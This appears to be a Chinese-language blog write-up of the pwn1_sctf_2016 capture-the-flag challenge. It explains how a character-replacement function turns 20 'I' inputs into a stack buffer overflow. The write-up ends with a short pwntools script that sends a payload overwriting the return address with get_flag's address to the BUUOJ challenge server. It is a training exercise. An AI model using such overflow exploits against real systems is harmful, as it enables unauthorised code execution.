pwn1_sctf_2016

文章目录

  • 一、查看文件
  • 二、IDA反编译
  • 三、代码
  • 总结


一、查看文件

先file ./pwn1_sctf_2016查看文件类型再checksec --file=pwn1_sctf_2016检查一下文件保护情况。
pwn1_sctf_2016_第1张图片pwn1_sctf_2016_第2张图片

二、IDA反编译

用IDA Pro 32bit打开pwn1_sctf_2016后按F5反汇编源码并查看主函数,发现vuln()函数。

pwn1_sctf_2016_第3张图片
双击vuln()函数查看源码,分析后发现fgets()函数限制输入32个字节到变量s中,乍一看并没有超出可用栈大小。
pwn1_sctf_2016_第4张图片再按一次F5后发现第19行的replace()函数会把输入的I替换成you,1个字符变成3个字符。 并且在第27行会对原来的s变量重新赋值。
pwn1_sctf_2016_第5张图片在Functions window可以看到有一个get_flag()函数,按F5反汇编可以看到这是一个系统调用,且get_flag()函数的起始地址为0x8048F0D。
pwn1_sctf_2016_第6张图片在这里插入图片描述
查看栈结构发现s的长度为0x3c,即60个字节,而输入被限制在32个字节内,每个I可以被替换成you,所以输入60÷3=20个I就能让栈溢出,然后db 4 dup(?) 还需要占用4个字节的内存,最后加上get_flag()函数的起始地址0x8048F0D构成payload。
pwn1_sctf_2016_第7张图片

三、代码

from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn', 25314)
payload = b'I'*20 + b'a'*0x4 + p32(0x8048F0D)
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互

pwn1_sctf_2016_第8张图片


总结

这道题目的情况是多了个替换字符的函数,使得一个I在存储中变为you,一个字节变为三字节,这时候需要根据情况确定多少字符使得栈溢出。

还是照常的流程,但题目已经开始变化了,我现在还是一知半解迷迷糊糊的状态,
害,菜狗子还需努力。

你可能感兴趣的:(菜狗子pwn,pwn,ctf,python,linux)